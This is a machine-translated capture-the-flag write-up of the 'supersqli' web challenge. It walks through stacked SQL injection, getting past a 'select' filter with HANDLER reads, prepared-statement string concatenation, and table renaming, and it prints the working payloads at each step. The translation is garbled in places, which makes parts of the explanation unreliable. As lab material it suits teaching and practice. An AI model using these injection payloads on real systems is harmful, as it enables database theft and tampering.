当前位置:网站首页>Advanced area of attack and defense world web masters supersqli
Advanced area of attack and defense world web masters supersqli
2022-07-29 00:17:00 【Ant200】
Tips : Method ten million , The best thing is to suit yourself !
Tools
firefox
analysis
Look at the topic -- Note casually ,supersqli And the web content guess is sql Inject
1. Input 1, Found variable is inject

2. View page source code , Discovery tips sqlmap There is no soul , Realize that it should not be used sqlmap run , Try manual injection
3. Input
1' union select 1--+Tips are filtered ,preg_match Can own Baidu , After filtering, it cannot be used select This command

4, Try Stack Injection
Stacked injections( Stack Injection ) From the meaning of the noun, we can see that it should be a pile of sql sentence ( multiple ) Do it together . And it's the same in real use , We know that mysql in , Mainly in the command line , Add... At the end of each sentence ; End of statement . In this way, we think about whether we can use more than one sentence together . This is called stacked injection.
command
1';show databases; --+
5, Burst database , According to the title, it should be --supersqli, Query the table below to get two tables

6, Query the columns under the table
Be careful :
1. Both orders should be followed by a semicolon
2. Column names should be enclosed in backquotes ,( English model esc The next one )
command
-1';show columns from `1919810931114514`;--+
obtain flag This field , Out-of-service select, Try something else
Method 1 : Use handler
command :
handler `1919810931114514` open Open this file
; handler `1919810931114514` read first According to the line read
-1'; handler `1919810931114514` open ; handler `1919810931114514` read first; --+
obtain flag

View source code replication

Method 2 :
precompile + Stack Injection
precompile :mysql Precompiled function of , It is for those frequently executed grammars to remain unchanged sql Statement , Every time sql The execution of statements must be compiled by the database , This process is quite time-consuming , One, two or more may not feel much , If there are thousands of them, the efficiency will obviously change .mysql The mechanism provided can make a structure unchanged sql Statements are pre compiled in the database , We just need to pass variable parameters to it for execution every time , In this way, the compilation steps are omitted , The efficiency improvement is very obvious . Deepen understanding link .
sentence :
SET @tn = 'hahaha'; // Storage table name
SET @sql = concat('select * from ', @tn); // Storage SQL sentence
PREPARE name from @sql; // predefined SQL sentence
EXECUTE name; // Execute predefined SQL sentence
(DEALLOCATE || DROP) PREPARE sqla; // Delete predefined SQL sentence command : There will be select Disassemble and splice , It can also be used. ascill Code instead of
;SET @sql=concat('s','elect', '* from `1919810931114514`'); PREPARE a from @sql; EXECUTE a;
when flag

Method 3 :
Use rename and alter These two commands are used to change the table name and field name . Because we can visit words Inside columns, Find out id, That is to say, what we input 1 The default is query words This watch . So we can put words Change the name of the watch into words1 surface , hold 1919810931114514 Change the name of the watch into words, Then take it. 1919810931114514 Inside flag Change the field name to id, Then input 1’ or 1=1# You can successfully get flag 了 .
Construct command :
rename tables `words` to `words1`: Original words Change it to another name
rename tables `1919810931114514` to `words`: There will be flag The file is changed to words
alter table `words` change `flag` `id` varchar(100); Change its length
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
Successful execution

Inquire about flag
Related links ;
Stack Injection details ( Reprint ) - Good mentality (*▽*) - Blog Garden
边栏推荐
- 动态规划问题(八)
- IDEA2021.2安装与配置(持续更新)
- 【C】 Drink soda and find a single dog
- Opencv macro definition
- Leetcode60. permutation sequence
- Solution: direct local.Aar file dependencies are not supported when building an aar
- 【TA-霜狼_may-《百人计划》】图形3.6 纹理压缩——包体瘦身术
- Build SSM project with JSP as view parser
- Laptop external display
- Oracle超全SQL,细节狂魔
猜你喜欢

ZABBIX 5.0 uses its own redis template for monitoring

【C】 Introduction and Simulation Implementation of ATOI and offsetof

Samsung asset management (Hong Kong) launched yuancosmos ETF to focus on investing in the future tuyere track

Powercl batch creates and manages virtual switches

Web系统常见安全漏洞介绍及解决方案-CSRF攻击

Leetcode60. permutation sequence

【TA-霜狼_may-《百人计划》】美术2.2 模型基础

Plato farm is expected to further expand its ecosystem through elephant swap

ACM SIGIR 2022 | interpretation of selected papers of meituan technical team

Install MySQL using Yum for Linux
随机推荐
curl (7) Failed connect to localhost8080; Connection refused
VMware VCSA 7.0 Install
110道 MySQL面试题及答案 (持续更新)
Android studio connects to MySQL and completes simple login and registration functions
动态规划问题(八)
动态规划问题(七)
Concurrency in go
Multi sensor fusion positioning (I) -- 3D laser odometer
Sword finger offer 64. find 1+2+... +n, logical operator short circuit effect
1-6 state与绑定事件
Eye of depth (18) -- partial derivative
Develop effective Tao spell
Oracle create tablespaces and users
@Transactional 注解使用详解
Event extraction and documentation (2008-2017)
Real time data warehouse: Netease strictly selects the practice of real-time data warehouse based on Flink
动态规划问题(三)
Idea error running 'application' command line is too long solution
跳表的原理
Real time data warehouse: meituan's implementation of real-time data warehouse construction based on Flink